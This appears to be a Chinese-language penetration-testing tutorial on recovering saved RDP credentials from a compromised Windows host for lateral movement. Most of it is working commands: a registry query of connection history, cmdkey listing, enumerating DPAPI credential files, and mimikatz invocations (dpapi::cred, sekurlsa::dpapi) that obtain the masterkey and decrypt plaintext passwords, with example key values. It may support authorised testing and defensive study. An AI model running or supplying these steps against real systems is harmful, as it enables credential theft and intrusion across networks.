文章目录
- RDP保存凭据
- 通过注册表查看当前主机本地连接过的目标机器记录
- 查看当前主机保存的RDP凭据
- 查看本地用户是否存有RDP密码文件
- 通过密码文件获取guidMasterKey的值
- 根据guidMasterKey找到对应Masterkey
- 解密获取明文
- 以上总结:
在授权渗透过程中,如果获取了一台windows的权限,可以尝试去获取该主机保存的远程桌面连接凭证,从而在内网横向中扩大成果。
也就是当我们获取一台windows服务器,可以尝试获取本地远程连接的信息
甚至可以拿到明文密码,横向移动。
RDP保存凭据
通过rdp服务登录远程桌面时,如果选择了记住凭证,会在本地生成一个凭证文件,我们只要破解这个凭证里面的数据即可获得明文密码。
通过注册表查看当前主机本地连接过的目标机器记录
reg query "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers" /s
查看当前主机保存的RDP凭据
cmdkey /list
查看本地用户是否存有RDP密码文件
dir /a %userprofile%\AppData\Local\Microsoft\Credentials\*
这些文件默认是隐藏的,需要关闭隐藏
这里只看4.28号的文件:B0B07C74251019634D3D975E183A4D01
通过密码文件获取guidMasterKey的值
选择密码文件,使用mimikatz对其文件进行解密,并记录下guidMasterKey
的值
需要对应修改路径和文件名:
C:\Users\xuanjian\AppData\Local\Microsoft\Credentials\B0B07C74251019634D3D975E183A4D01
mimikatz.exe "privilege::debug" "dpapi::cred /in:C:\Users\xuanjian\AppData\Local\Microsoft\Credentials\B0B07C74251019634D3D975E183A4D01" exit
guidMasterKey的值为:{667e9c69-1d5d-4f18-aad2-04437c5c03c5}
需要记下这个guidMasterKey
的值
根据guidMasterKey找到对应Masterkey
根据guidMasterKey
,使用mimikatz找到对应的Masterkey
mimikatz.exe "privilege::debug" "sekurlsa::dpapi" exit > 1.txt
获得MasterKey:0541b84285d48012015ae28a75935a53eedcca0423d74e9c34c10a82c6991015f371097e61bc6d927e82a80bbdb0cdcd1e00431a7f93e65a209b7150f80c1eba
解密获取明文
通过MasterKey,使用mimikatz解密pbData数据,获取RDP连接明文密码
mimikatz.exe "privilege::debug" "dpapi::cred /in:C:\Users\xuanjian\AppData\Local\Microsoft\Credentials\B0B07C74251019634D3D975E183A4D01 /masterkey:0541b84285d48012015ae28a75935a53eedcca0423d74e9c34c10a82c6991015f371097e61bc6d927e82a80bbdb0cdcd1e00431a7f93e65a209b7150f80c1eba" exit
获取用户名密码
以上总结:
- 通过密码文件获取guidMasterKey的值,
- 根据guidMasterKey找到对应Masterkey
- 通过Masterkey进行解密,获取明文